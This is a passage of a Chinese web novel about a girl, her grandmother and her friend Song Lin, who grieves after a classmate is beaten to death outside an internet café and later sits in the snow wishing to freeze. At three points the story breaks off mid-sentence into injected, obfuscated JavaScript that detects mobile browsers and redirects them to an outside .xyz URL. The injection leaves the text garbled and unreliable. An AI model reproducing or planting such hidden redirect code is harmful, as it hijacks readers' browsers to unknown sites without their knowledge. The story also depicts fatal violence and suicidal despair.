没办法,她只能穿之前上学时穿的外套了,冷点就冷点吧。换好衣服后冯丽已经在门口等她了,见她还是这身打扮,皱了下眉。 “怎么不穿你妈给你买那件厚的?” “坏掉了。” 了解完情况后,冯丽又进屋去翻自己屋的衣柜,从里面找出来件花袄,递给祁缘让她试试。 她拿在手上抖了抖,这衣服得有二斤沉。 祁缘攥着卫衣袖子把花袄套上,这衣服是冯丽的,老太太不胖不瘦,但穿在她身上视觉上显胖了不止一点儿,里面空空荡荡的,像极了小孩儿偷穿大人的衣服。 她想脱下来,被冯丽制止了,“先穿着,大点儿也比你那衣服暖和,一会儿去街上外婆再给你买一件。” 这么冷的天估计也遇不到什么熟人,祁缘抿着唇点了点头,抬手把扣子系上了。 别说熟人了,一老一小走在街上,一路上也没碰到几个人,选择在这种天气上街的估计也就只有她们两个了。 有些地方有冰,祁缘一直在旁边小心翼翼地搀扶着冯丽,她年纪大了摔一下可不是什么小事。她吸了吸鼻子,北风吹起来冻的她鼻尖发红,冯丽怕她感冒,转头把她的卫衣帽子扯出来兜在头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957267|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,然后又给她脖上的围巾系紧了些。 他们家离镇上说近不近,说远也不远。两人走了近二十分钟,冯丽说想买点儿蔬菜什么的,左望望右看看,这时候没人在外面摆摊,都怕菜冻坏了,于是两人去了商场里的地下一层。 农村就这点好,他们家有院子,平时就吃家里种的菜,既新鲜又健康。然而现在院子里种不了菜,也就算是把这些卖菜商贩养活了,冯丽很显然没来过几次,溜达一圈儿就找不到哪儿是哪儿了。 后来找到上去的楼梯冯丽才放下心来,尽管祁缘说自己能找到路她也不信了,打算就在这周围挑点菜得了。 有个小贩看到她们两个在原地转悠,赶忙吆喝揽客,“大姨,来来来,看看我家这个,这菜都老新鲜了,全是新来的。” 冯丽知道他在招呼自己,微弓着腰走到跟前去了,她垂着头,拿起手边的黄瓜,上面还有水珠,祁缘光是看着就觉得新鲜。 “这都是新进的,进货时候我都在旁边看着,不好的我是不进。”小贩抱着胳膊嗑瓜子,十分自信地介绍着自己的菜品。只见冯丽捏着黄瓜根晃了晃,然后放回原位上,撇撇嘴。 她说话一点儿不留情面,直说道:“你这黄瓜进多长时间了?一甩那么软和,这水是你后喷上去的吧?” 有人刚要过来挑,听冯丽说完转头就去别的摊位了,小贩脸上的表情瞬间变了,“大姨你可别血口喷人啊!” “我这可都是有理有据的,你说你这……” 冯丽哪哪都好,就是心直口快,祁缘赶紧把她拉走了,有些事自己知道就行了,万一惹怒了商贩,她一个上了年纪的老太太怎么可能斗得过人家? “自己卖的菜质量不好还不让人说了。” “别寻思他了,我们去别的摊位买。” 这一层都是卖菜的,冯丽要挑就挑最好的,东拼西凑一番,终于把心中的清单完成了。然后两人去了二楼的商场,给祁缘挑了件抗风保暖都不错的棉服才往家走。 “这回你上学就穿这个,省的一整冻的哆哆嗦嗦的。” “知道了外婆。”祁缘揽着冯丽的胳膊,心满意足地笑出声。冯丽揉了揉她的头,笑话她,“买个衣服开心成这样。” 祁缘没回答,让她开心的不是衣服,是她有个这么好的外婆。 “你他妈的!不是想替他出头吗?那你就替他受着吧!” “没多大本事,装逼可一个顶俩。” 路过网吧的时候,有几个不良少年在打架,个个染着黄毛,旁边还停着几台鬼火。 一个男生被踩在脚下,身上挨着数不清的棍子,他抱着脑袋,蜷缩起身子,一动不动。 那男生背对着她们,祁缘看不清他的脸。 “哎呦,这是干嘛呢!”冯丽心疼挨揍那孩子,拍了下大腿,她一把老骨头了总不能上去劝架吧?只能躲在墙角偷偷报了警,然后拉着祁缘匆匆走了。 祁缘算是一步一回头,她老觉得躺在地上那个人的背影有点熟悉,但她想不起来是谁。 这边她一共也没认识几个人,估计是看错了吧。 26. 第 26 章 三天假期过去,祁缘穿着新买的棉服去学校,她一直捂着衣服,怀里有冯丽今早做的肉夹馍。 冯丽知道宋嶙爱吃她做的菜,于是她趁热装了两个放到袋子里,想着让祁缘给他带过去尝尝。 祁缘本来是把袋子放到书包里的,思来想去还是觉得放在怀里捂着好一点。她不敢耽搁,一路上几乎是小跑着跑到学校的,生怕怀里的东西凉了,那样就不好吃了。 终于到了班级,她朝后排望过去,宋嶙的位置还是空的。她又向后看了眼,陈子涛和何浩楠也都还没来呢。 他们昨晚又去通宵打游戏了吗? 祁缘把门关好,沿着讲台一路向后排走去,旁边有几个人围成一堆,不知道在聊什么,咋咋呼呼的,还时不时惊叹一下。 她来的晚,只能从一半开始听: “张磊他们就是咽不下这口气,要不然能把棍子都准备好吗?网吧门口一地血,真看疼的不是他们了。” 一个女生吓得捂住嘴巴:“当时现场那么惨吗?” 有个男生摆摆手,“你没看见你都不知道,我也是后去的,那阵警车救护车都在那,地下的雪都让血给染红了,老吓人了。” “他们怎么那么狠心啊?” “我靠,当时咱上高一,那几个男的上高三,那阵他们几个多狂,咱学校谁不知道啊?”那男生气的拿书砸桌子,暴跳如雷,“幸好有人帮忙报警了,要不然再过一会儿估计人都被打成肉泥了。妈的,涛子人多好啊,可惜了。” “唉,没看宋嶙和何浩楠现在还没来吗?何浩楠应该还差着,我感觉这事儿宋嶙一半会儿走不出来。” “他可把陈子涛当成自己亲兄弟啊!听说当时他知道这个事以后都疯了,张磊他们应该庆幸自己被拘留了,要不然哪个都别想活。” 祁缘猛地顿住,她扭头转回来,抓着其中一个人的袖子,急切地问:“你们说什么呢?他们怎么了?” 那男生回过头来打量着她,皱眉,“你总跟他们几个一起玩,出了这档子事你不知道啊?”他顿了下,又说:“宋嶙没事儿,这事他也没掺和到,但是因为他的原因,陈子涛被人打死了。” 祁缘紧张地听完了用几个字就能叙述完的全过程,像是被人活生生掐住了脖子,使她难以呼吸。下一秒挂在手臂上的手重重的垂下来,怀里的肉夹馍掉到地上。 网吧门口被打的那个人,是陈子涛…… 陈子涛死了…… 她险些没站稳,后退一步撞到后面的桌子上,有个男生过来扶了她一把,祁缘捂着胸口,心脏在里面跳的飞快,像是被打了兴奋剂一般。 她哽咽着:“那个人是陈子涛……” “什么那个人啊?他被打时你看见了?” 祁缘没回答,眼角渗出几滴眼泪,转眼间发了疯般跑了出去。有人被撞了下,“我靠”一声,问他们几个看戏的,“她咋了?” 一个女生摊开手,“不知道啊,她说的那些话稀里糊涂的,我们也没听懂。” 祁缘一路疯跑着,平时跑个八百米都跑不下来的人,这会儿像是不知道累,她不知道自己跑了多久才终于站在网吧门口,看着眼前可怖的场景,她心口泛着酸。 嗓子发紧,疼的她皱了皱眉。祁缘一瘸一拐的走过去,她隔着警戒线泛起泪花,里面的血迹已经干枯了,被雪埋着,上面还有密密麻麻的脚印。 祁缘跪坐在地上,她好笨,好蠢,她当时为什么没有认出来被打的那个人是他?她又为什么没有站出来?而是选择袖手旁观。 陈子涛,他的的确确是个很好的人。 她抽泣着,被人从身后一把拉起来。 祁缘回头,是何浩楠。 他肉眼可见的落魄,平时那么爱笑的一个人,现在眼睛发肿,只能睁开一截。他嘴唇发抖,张了张口,半晌才把嘴边的话表达出来,“我们查监控的时候看到你和你外婆了。” 祁缘后退一步,心如刀绞,“对不起,是我太懦弱了,我……” “不怪你,怪你干什么?你们在这的时候陈子涛就已经死了,不是你站出来就能解决的事。”他顿了下,说话声音带着哭腔:“里面都是张磊的人,还要多谢你们帮忙报警呢,要不然我兄弟死透了都没人管。” 祁缘抹了把眼角的泪花,何浩楠从兜里扯出几张纸来给她,“擦擦吧。对了,我忘了问,你怎么出来了?不去上课吗?” “没心情上了。” “嗯,”他也不劝,“不上的话,求你个事儿。” 祁缘抬眼,“什么事?” “这事和宋嶙多少有点儿关系,不过都是很久以前的事了,这下两者突然扯上了,陈子涛家里有点儿接受不了。他爸他妈找上宋嶙他家,宋嶙道了歉就一直窝在家里不吃不喝。今天突然发现人不见了,我和宋叔在找呢,还没找到。你能帮忙找找吗?” “他走多久了?”这么冷的天,祁缘冻的缩了下脖子,语气透露着焦急。 “不知道,宋叔说他今早起来就没看到他。”何浩楠捂着脑袋,眼泪控制不住的在眼眶里打转儿,“我就这一个兄弟了,你帮我找找……” 语气里掺杂着痛苦和焦急。 祁缘把剩下的纸还给他,安慰道:“我肯定是要帮你找的,只是盲目找也不是个办法,他常去的地方你都找了没有?” “找遍了,没有,他估计就是怕我们找到他才躲的远远的。” “北城说大不大,说小也不小,这外边这么冷,他都出去好几个小时了,指不定冻成啥样儿了。”何浩楠叹了口气,继续说:“你帮我找找,多一个人能快一点。” “好,那我们快点分头找吧。” 街上的店铺被白皑皑的雪花覆盖着,屋檐上结了一堆又长又粗的冰柱,祁缘在银白的雪地里奔跑着,一丝丝凉意顺着她的脖颈溜进去,原本平滑的地面上多了些许密密麻麻的脚印。 今天没太阳,又刮着北风,大道上的雪被吹的可哪都是,有的吹向空中,在天上转了一圈儿,然后像沙子一样打在脸上。 太疼了。 她蹲下来,抬手取下脖子上的围巾,在脸上搓了搓,感觉回了点温就继续戴上了,她现在不敢懈怠,有人比她更冷。 不知道找了多久,也不知道是不是老天偏要跟他们作对,空中又飘起雪花,祁缘鼻子有些酸,她现在感到很无力。 求求了,别再下了。 她跑的腿都软了,但好在,她最后在公园的长椅上找到了宋嶙。 祁缘慢慢走过去,直到站在他面前他都没有反应。只见他一脸颓废的靠在椅背上,目光望向前方,眼睛半天眨一下,整个人像是被抽走了灵魂,坐在这里的更像是一具空壳子。 她唤他:“宋嶙。” 他不回答。 祁缘咬着唇,拍了拍他身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957268|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的雪,然后把脖子上的围巾拽下来,给他系上。她又注意到他冻的紫红的手,想起来自己书包里还有瓶热水,赶忙蹲下来翻书包。 还好,还热乎着。她庆幸,转头把水杯递给他,手悬在半空,只见刚刚给他围好的围巾被他扯了下来,放在长椅上。 祁缘把水杯塞到他手里,拿起他手边的围巾,刚给他系到一半,就又被宋嶙一把扯了下来。 她再系,他再扯。 眼泪留进嘴里,又酸又涩。她乞求:“宋嶙,你听话一点,好不好?” 宋嶙始终保持着这个姿势,半晌,他终于动了动唇,哑着嗓子开口:“你别管我了。” 话音刚落,他轻咳了声,喉咙像吞过刀片一样疼。 祁缘:“你这样会冻坏的。” 听到这,他冷笑一声:“冻死不是更好吗?” 他早在来到这时就做好了冻死的准备,可能是他罪大恶极,几个小时过去了,阎王爷也没想收走他。 “才不是。”祁缘吸了吸鼻子,把围巾重新给他围上,却还是被他扯下来给扔了。不一样的是,这次宋嶙发了火。 “我都说了你别管我!” 祁缘被他突然这一吼吓了一跳。 宋嶙这才意识到自己情绪失控了,他慌张垂下眼睫,不敢直视她泛着泪光的眼睛,更不想伤害她,于是轻声说了句:“你走吧。” 她站在原地一动不动,宋嶙以为她生气了,可他现在没心情哄她。他仰头:“你……” 下一秒,祁缘扑上去,紧紧拥抱住他。 “你别这样行吗?” “好好的行不行?” “你这样我怎么办?宋叔叔怎么办?何浩楠又怎么办?不是你说死了就一了百了那么简单,你这样根本解决不了问题,只会让我们这些担心你的人活的更痛苦!” 她越搂越紧,她是真的很怕失去他。 他仰望着天空,忍了好久的泪还是没忍住落下来了。宋嶙反手揽住她的腰,两人紧紧相拥,最后,他哽咽着说:“可我把我最好的兄弟给害死了……” “从小一起长大的好兄弟,被我间接性害死了……”宋嶙说话带着浓浓的鼻音,他喃喃道:“我是罪人,没有人会原谅我……” 祁缘听着,回忆起刚进教室时他们说的那些话,又想起何浩楠说陈子涛的死和宋嶙有点关系,但没具体说是因为什么事,当时那种情况也没时间说。 眼下她也不知道该怎么安慰,只是把头埋在他的颈窝处,给他一点关怀,至少让他知道在这个世界上是有人在乎他的。 宋嶙被她这么搂着回温了些,却还是冻的浑身打颤,他眼眶红了一圈儿,趴在她脖颈上自顾自说了些什么,听不清,断断续续的。他现在只觉得一呼一吸都显得十分困难,心中的压力有千斤重。 寒风刺骨,脸上的泪痕很快被吹干,眼睛也疼的要死。 何浩楠和宋健也赶了过来,看见眼前这一幕,两人默契般停住脚步,站在原地,谁也没上前。 找到了就好。 他没事就好。 “宋叔,我们走吧,他现在不敢面对咱俩,让他和祁缘待会儿应该能好受一些。”何浩楠跳的飞快的心脏这会儿终于安静下来,知道他没事比什么都强。 宋健“嗯”了声,怔在原地迟迟不动。 他从来没想过这种黑锅会这么光明正大地扣在他儿子头上。 27. 第 27 章 宋嶙的手被水杯捂了一会儿已经回温了,他激动的情绪也逐渐冷静下来,在外面待了这么久,祁缘的身体也早就冻僵了。 总不能因为自己的原因把她也拖下水,宋嶙揉了揉眼睛从椅子上站起来,他已经冻的快要没知觉了,缓了好一会儿才过去捡不远处的围巾,抖了抖上面的雪,道:“走吧,去哪待会儿。” 外面下着雪,他们又不买东西,这种情况去谁家待着都不能乐意。然而宋嶙似乎心中早有决定,大手隔着衣服覆盖上她细细的手腕,只是默不作声地拉着她向前走,祁缘也不知道他要去哪儿。 他们最后进了一家便利店。 屋里的暖气开的正足,和外面吸的人气管疼的冷空气相比,简直就是天堂与地狱之别。 店员说了句欢迎光临,宋嶙哑着嗓子,不仔细听都听不清他说的什么,“麻烦来两杯热水。” 店员轻轻打量他一眼,最后也只是微笑着说:“好的,您稍等。” 祁缘已经在休闲区坐好,宋嶙拿着两杯热水走过来,递给她一杯,然后跨上椅子,在她旁边坐了下来。 两人不约而同地把杯子捧在手心里,温暖着僵硬的手。宋嶙头上还兜着卫衣帽子,没摘,正目不转睛的望着前方,他脸上没有任何表情,只给她留下一个颓废不堪的侧脸。 那个意气风发的少年,现在一声不吭的坐在这里,头发乱成一团,漆黑的眸子没有一点儿光亮,他沉默着,沮丧和落寞统统写在脸上。 她没见过这样的宋嶙,看得她满眼心疼。 下雪天没什么人出来买东西,屋里安静的能听清彼此的喘息声。半晌,他终于沉着声音开口。 “想听吗?” 祁缘知道他说的是什么,不假思索的点点头,他只要说出来,不憋在心里,就好。 得到回应后,他回忆了一会儿,这才慢吞吞道:“我们三个从记事起就在一起玩了。” 那时他们三个的妈妈前前后后嫁过来,村里也没有熟人,三人平时都大门不出二门不进的,一个个就在家里守着。天一亮,一睁眼能见到的就反反复复家里这几个人。 偶然的一次,村里有人家办酒席,他们家老太太比较碎嘴,就张罗着把那几个新嫁过来的新娘子叫来,为他们家添添喜气。 她们也就是在这个时候认识的。 当时三人坐在一桌相互诉苦,说来了这之后一个认识的人没有,一听都挺孤独的,一来二去,聊着聊着她们也就熟络了。再加上年龄相仿,讨论的东西也都差不多,最后竟然还处成了不错的闺蜜。 不久之后那两个就有了身孕,当时就宋母肚里没动静,她们就开始撺掇她,让她也要一个,万一生个性别不一样的还能订个娃娃亲。 宋母本来是不想生的,被她们这么一说也有点儿心动了,再加上宋健对她很好,都恨不得把她捧在心尖儿上,她思来想去,也就答应了。 于是这才有了宋嶙,他也是他们当中最小的那个。 何母打趣说:“还说定娃娃亲呢,三个都是小子,这还定啥了!” 陈母笑:“万一能成呢?” 她听出来话里话外啥意思,笑道:“你可拉倒吧!” 她们三个关系好,他们三个自然也差不到哪儿去。小时候不会说话那阵就成天待在一起,会说话了就开始干架了,时不时谁身上划两个口子就哭着跑回家告状去了。 宋嶙讲到这儿笑出声:“不管是不是人为的,反正就往那两个身上赖。” 小时候不懂事,长大些就明白了,吵架的次数逐渐越来越少,三人义结金兰,成了这十里八乡出了名的小团体。 附近都知道这三个淘小子,谁家有果树都要防着,一不注意几人就偷偷摸摸拿个杆子过来打,被人发现了就撒丫子跑,到头来受害的还是他们,地上常常一片狼藉,满地都是残骸,一打扫就是老半天。 因为损坏东西可没少有人登门告状,他们村的人都闲的很,不管多晚,只要出来就三家挨个去,直到看到“肇事者”挨揍了才心满意足的离开。 最开始他们挨打时还会哭两声,后来习惯以后,不管你拿多粗的棍子,打到出血也没有一丁点儿动静。 宋嶙和何浩楠有时好歹还呜咽一声,这里边当属陈子涛最皮实,打完还傻乐,不一会儿就又翻墙跑去别家捣乱了,当时可给他妈气个半死。 后来宋母突然车祸去世,这是宋嶙家里的事情,他们却在一夜之间同时成长了不少。当时宋嶙在学校被人欺负被人骂,一直都是陈子涛和何浩楠陪在他身边。 关系也在这一刻得到升华,当时他们便发誓要做一辈子的好兄弟,有福同享,有难同当。他们也真的没有食言,不管谁出了事,后面永远有另外两个在帮忙兜底。 水已经变得温热,宋嶙喝了一口润润火辣辣的嗓子,继续说:“就是仗着有人兜底,仗着自己年少轻狂,高一刚开学不久我就惹事了。” 北中是北城唯一一所高中,不管是好学生还是坏学生,全都挤在这一所学校里。唯一能区分他们的就是看他们所在的班级,越往前的学习越好,同理,越往后的就越学的啥也不是。 所以不出意外,他们仨分到了同一个班级——高一年组的最后一个班,高一四班。当时他们还庆幸来着,幸好这届学生没多少,要不然再来几个班回村一说都丢脸死了。 “要说丢脸其实也就你丢脸,我俩好歹知道自己学的不行直接放弃了,你这补课了还跟我们一个班,哈哈哈。” 何浩楠笑的前仰后合,当时陈子涛家里还挺器重他的,还给他找了几个补课老师,可这货一对一都能睡着,也是没谁了。 他老拿这事说事,陈子涛听的耳朵都长茧子了,撇着嘴不承认,“为了跟你们一个班我升学考试就没好好答,要不然我现在估计在一班坐着呢。” 宋嶙听完懒散的掀了下眼皮:“金刚石都没你嘴硬。” “这是什么话?” 三人前前后后进了网吧,声音不算大,结果不知怎么的就惹到门口坐着那几位了,其中一个站起来,是他们的头子,叫张磊。 他们在学校见过他,这几个都是这届高三的,平时因为抽烟打架没少被通报批评。 据说他还喜欢看人下菜碟,专门欺负一些低年级的学生,有幸“看上”谁了就一直找他要钱,不听话就找人开打。 想必这就是原因吧。 张磊顶着个西瓜皮头,撸起袖子,露出一截大花臂,怎么看怎么像个痞子。他把手上的烟掐了,大摇大摆的走过来,脸因为太瘦扭曲在一起怪诡异的,模样像个鬼。 他靠在收银台旁边,把网管手上的身份证抢了过来,拧着眉毛,一字一句的读:“宋嶙。” 他把这张别到后边,刚要继续读,突然手一空,手上的身份证被旁边的陈子涛一把抢了过来。张磊不乐意了,抱着胳膊,“想找事儿吗?” 陈子涛气的两眼一黑:“谁先找事儿的?你拿我们身份证干啥?” 听见动静,后面几个人放下头上的耳机,转眼间全都凑了过来。张磊一副理所当然的样子,说:“老子想认识一下不行吗?” 陈子涛看不得他这副德行,长得像阴沟里的老鼠,他光是看着他的脸就觉得恶心,直接了当:“不行,不想认识。” 刚说完,他衣领被张磊身后的人猛地一扯,那人长的人高马大,嘴里说出来的话更是恶意满满:“你想死?” “怎么的?你们还想动手是吗?”陈子涛也来劲了,朝着自己脸上指,“来啊!不敢打你就别她妈活了!去死吧!” “激我?”大块头显然被他的锋芒刺到了,他们这种人最受不了的就是别人眼里的轻视,他捏起拳头,蓄足力气挥了过来。陈子涛刚想还手,眼前扑来一阵风,有人替他接下了这一拳。 “啊!疼疼疼……” 宋嶙抓着大块头的手臂,他不往上拧,他往下掰,那人胳膊直不楞登的动不了, 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他们估计是家里有钱,眼里只要看见什么就统统拿过来,转头卯足了劲儿就往宋嶙身上砸。这些玩意儿轻飘飘的对他也构不成什么威胁,小时候老翻墙他体力都练出来了,扯着胳膊腿一蹬,分分钟解决。 结果这帮人就跟狗皮膏药一样,一波未平一波又起,怎么甩都甩不掉。还好城里出警快,只留下两个警察在店里查监控,其余的统统被带进了警局。 虽然都被关着,但宋嶙他们三个谁也不担心,甚至还哼起了小曲儿,就等着查监控的警察回来。果然,是张磊他们蓄意滋事,而且不止一次,曾经已经有过好几次口头警告,现在不但要拘留,还要赔偿网吧的经济损失。 宋嶙出去时,张磊隔着栏杆怒目圆睁地盯着他看,双方都知道,他们的梁子也就是在这一刻算是彻彻底底结下了。 “后来他们被学校劝退了,好长一段时间都销声匿迹,具体什么时候出来的,没人知道。” 宋嶙说,元旦第一天假期他们确实是去网吧通宵了,但是当时张磊他们不在,双方没碰到。 熬到第二天六点,宋嶙和何浩楠受不住了,两人吵着要回家,陈子涛正打副本打的热火朝天,他下不来,只能催促他俩先回去,说自己一会儿出去还要吃点儿早饭。 宋嶙眼睛都快睁不开了,打着哈欠:“打完这关你也赶紧走,熬一宿了还这么精神。” 陈子涛聚精会神地盯着电脑,闻言,抽空笑了声:“咋不说你俩虚呢?” “你他妈嘴里没好屁!”何浩楠气的翻白眼,结果被他这么一带也不争气的打了个哈欠,扭头挎上宋嶙的脖子,催促道:“走走走,咱俩先回去睡觉吧,我真不行了。” “走吧走吧,累死了。” 两人掀开门帘先行离开了,陈子涛守在电脑前又打了两个小时,直到到时间了他才放下耳机。转头拿起外套刚想走,一抬眼就看见了张磊那张熟悉的脸,身后是他那帮好哥们儿,其中还有两个是他没见过的新面孔。 他愣住,张磊邪笑一声:“好久不见。” 他们把陈子涛拖到门外,给他手机,要求他把宋嶙叫来。 之前就是因为他率先动怒才惹出了这一串子事,当时还差点儿让宋嶙留了案底当不了兵。他不能再拉他下水了。 陈子涛把手机打掉,直接拒绝:“想都别想。” 张磊没想到他自己一个人站在这里还敢这么狂,上前一把抓住他的脖子,眼底猩红:“怎么,你要替他承担后果吗?” 陈子涛嫌他恶心,一脚踹在他的腹部,只送给他一个字:“滚。” 这种眼神,这种语气。张磊怒火中烧,他已经感觉不到身体上的疼了,只顾着把这一脚还给他,陈子涛被踹的一个趔趄,他脚后面是冰,一下没站稳摔倒在地上。 下一秒无数只脚落在他身上,他挣扎着想要起身,不知道是谁,给了他当头一棒。 就这一下,陈子涛闭上眼睛,躺在血珀里,再也没能起来。 28. 第 28 章 这个世上的每个时刻都是有人欢喜有人愁。 宋嶙说到这儿,他的眼里布满了红血丝,手心合起,被他紧握成拳,骨节泛着白,上面的皮肤像要撑开似的,青色的血管暴起,越来越清晰。 打他记事起他就不爱哭,能让他落泪的人少之又少,继宋母去世后,这是他第二次感受到这种锥心之痛。 宋嶙吸了下发红的鼻子,眼角渗出几滴泪来,顺着脸颊淌到下巴,最后滴进纸杯里,泛起一层涟漪。他自嘲一笑:“自己兄弟都保护不了,还当什么兵?” 祁缘看着他红透了的眼圈,心脏像被什么利器狠狠刺穿一般。她心疼道:“别太自责了,这不是你的错,错的是那些主动惹事的人。” 宋嶙没接话,因为不知道该怎么说。他想起出事那天下午陈子涛爸妈在他家疯狂敲门的场景,他们看完监控一致认为就是宋嶙招惹的张磊,全程没有一句话不在指责他。 他苦笑:“在他们眼里我现在都算是半个凶手了。” 甚至不配活着。 宋嶙一直沉浸在这种想法里不是个办法,祁缘握住他的手,因为冷热迅速交替,他的手现在烫的慌,像炙热的火。她感受着他手心的温度,用指腹轻轻揣摩着。 她轻声道:“宋嶙,你要向前看,没人会怪你,时间自会证明一切。陈子涛的爸爸妈妈只是面对这个突发情况一时有点儿接受不了,你是什么为人,我相信他们看得清。” 宋嶙听完扯了下嘴角,反手拉住她。 她以为他听进去了,笑着,眼泪掉下来。 可事实并非如此,他不是铁人,他有心。 在精神与身体的双重折磨下,宋嶙终于还是病倒了,一连发了几天的高烧。 宋健把刚买的药放在床头边上,招呼祁缘出来。 她应了声,把刚过了冷水的毛巾拧干,盖在宋嶙头上,关上门出去了。 宋健站在窗前,背对着她,望着窗外的雪景,木然地开口:“小缘啊,这几天还是多谢你过来探望宋嶙,明天你就回去上课吧,要不然学习该跟不上了。” 祁缘摇头:“没关系的,我每天回家都照着视频学,大多数都能跟上,不会的过几天回学校问老师就好了。况且,我住院的时候宋嶙不也是没上学吗?” “不一样,你学习这么好还得考个好大学呢。” “可是,”她顿了顿,“如果没有宋嶙,我考什么大学都没有意义。” 当初是他把她拉出那片痛苦的沼泽,要是没有宋嶙,那这一切都没有意义。 宋健话里话外听出来点别的意思,他转过头,缓缓呼出一口气:“小缘,我打算带着宋嶙搬走了。” 她没想过宋健会做出这个决定,后退一步,脚跟撞到后面的桌角。 祁缘低下头,他看不见她的脸,但光是感受她周围的气压,就知道她有多无奈,又有多不舍。 可宋健没办法了。 他耐心地解释:“这事对宋嶙打击不小,他折腾不起了。” 以前大家都和和气气的,宋健实在不忍心两家闹成这个样子。他心疼自己儿子,只是想出声辩解一下,想替他们理清这件事的来龙去脉,结果还没说出来几句,就被人当头浇了一盆凉水。 “一群白眼狼,如果不是宋嶙,你儿子早在一年前就被人打死了!” 宋健气的“啪”一声关上门,曾经去派出所领人的时候他不是没看过事发当时的监控,确实是那帮混子先挑事的不假,但是宋嶙和何浩楠都没动,是陈子涛先激怒那群黄毛的。 宋嶙从小有当兵的梦想,他不可以留案底,所以这件事他完全可以选择坐视不管,解决的办法好几种,这个架他不是非打不可,他有的是退路。 但他依然选择冒着风险,义无反顾地冲上去护着他们的儿子,到头来他们却记仇不记好,只因为监控里提到了宋嶙,他们就认为这件事是因他而起,就要把所有的情绪都强加在宋嶙头上。 陈子涛是宋健从小看着长大的,他打心底里喜欢这孩子,对于他的死宋健也感到深深的惋惜。但就是因为他有这样无理取闹的爸妈,他现在更替宋嶙感到不值。 只有他知道宋嶙那几天是怎么过来的。明明那么阳光的一个男孩儿,如今却躲在阴暗的角落里,酒喝了一箱又一箱,巴掌扇了一个又一个,声音啪啪响,他在门外都能听到。 这是除了他妈妈去世那次,他第二次情绪失控。 宋健曾经就是怕他在那个家过于哀伤,这才选择在城里买了个楼,可眼下又遇到这种棘手的事,他只能选择再一次把他带走。 搬走了只会对宋嶙有好处,远离这里的人和事,让他忘记这个痛苦的地方。祁缘知道她不该因自己的私欲求他们留下,选择放他走,她听见自己说:“好。” 宋嶙醒来后,知道宋健做了这个决定,他想都没想就拒绝了。 宋健不给他反悔的机会,把屋里仅剩的两个行李箱都拽了出去,扭头招呼他:“你沉睡这几天一直都是小缘在旁边照顾你,那边的房子我都租好了,什么借读、行李的问题我已经统统办好了,你现在就把衣服都穿好,咱们马上就走。” 宋嶙愣住:“她已经知道这件事了吗?” “知道。” “那她是什么反应?” “没什么反应,她说好。” 宋健骗了他,祁缘那孩子看待感情特别细腻,知道这件事以后虽然没有胡搅蛮缠,但后面每一个僵硬的动作都已经出卖了她内心的本能。 她喜欢他。 宋嶙把头撇向一边,他不信,他了解祁缘,她才不会那么决绝。 他抓住被子蒙住头,却被宋健一把扯了下来,他催促道:“赶紧的,烧都退了还在这里赖着干什么?” 宋嶙拗不过,立马炸了锅,“为什么非要带我走?不是你说的让我以后都要保护她吗?这才多久你就食言了?” 宋健现在管不了那么多,他掐着腰,气的用手指一点一点的指着他,“不带你走让你在这里继续颓废下去?陈子涛父母三番五次找上门讨说法,明明不是你的错却硬要把这口锅扣在你头上,我是你爸!我她妈受不了别人这么说我儿子!” 宋嶙知道宋健是为他好,他也不想跟自己父亲闹僵,安静片刻,顺着他说:“嗯,走之前先让我见她一面。” 宋健知道他要是不答应宋嶙是不会善罢甘休的,他把箱子丢到一边儿,一屁股坐进沙发里。 “嗯。” …… 今天艳阳高照,宋嶙走在那条熟悉的小路上,双手插着口袋,心情一落千丈,怎么也好不起来。 离目的地越近,他的心情就愈发沉重。 终于走进那个巷子口,他停下脚步,这是她被欺负那天,他送她回家,走到这里把背上的女孩儿放下来的地方。 他一瞬间有些恍惚,仿佛回到那天,他看见她在这里,给了他第一个发自内心的微笑。 宋嶙也跟着扯了下嘴角。 蓦地,他晃了晃脑袋,他不想停留在这片回忆里,那样他就更不想走了。 宋嶙抬起步子,朝着那户人家走去。可走到跟前他才发现,大门紧闭着,外面挂着一个大黑锁。 他隔着栏杆望着祁缘那间屋子,踢开脚边的石子,烦躁又郁闷。 见不到了吗? “宋嶙。” 一道女声在身后响起,宋嶙瞳孔一震,呼吸短暂停滞了一瞬,他快速整理好自己的情绪,扭过头,然后挤出一个微笑。 他笑的比哭的还难看,“干嘛去了?还以为找不到你了。” 祁缘心跳加速,她抿着唇,道:“宋叔叔不是说你们十点就走吗?” 她低头算了算时间:“现在应该已经十一点多了。” 她九点半就去他们家小区门口守着,等到十点半也没见着人影,她还以为他们已经走了,听说吃糖会让人心情变好,于是转身去了趟超市,买了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这样既是放过别人,也是放过自己。 他们去了村口那里坐下,这里没什么人家,有颗老树放倒了,一根粗壮的木头就那么静静地横在道边,尽管上面满是树纹,但依旧了无生气。 两人就这么坐在一起,手心撑在树干上,小拇指碰在一起。也仅仅只是碰在一起,谁也没越界。 “长这么瘦,跟张纸似的,平时多吃点儿饭,别老让人担心。” 宋嶙率先开口,用着轻快的语气,像是在跟她闲唠嗑,也像是在缓和气氛。 “要是班里有谁欺负你记得跟我说,我虽然第一时间赶不回来,但何浩楠能帮你,事后我回来收拾他们也一样。” 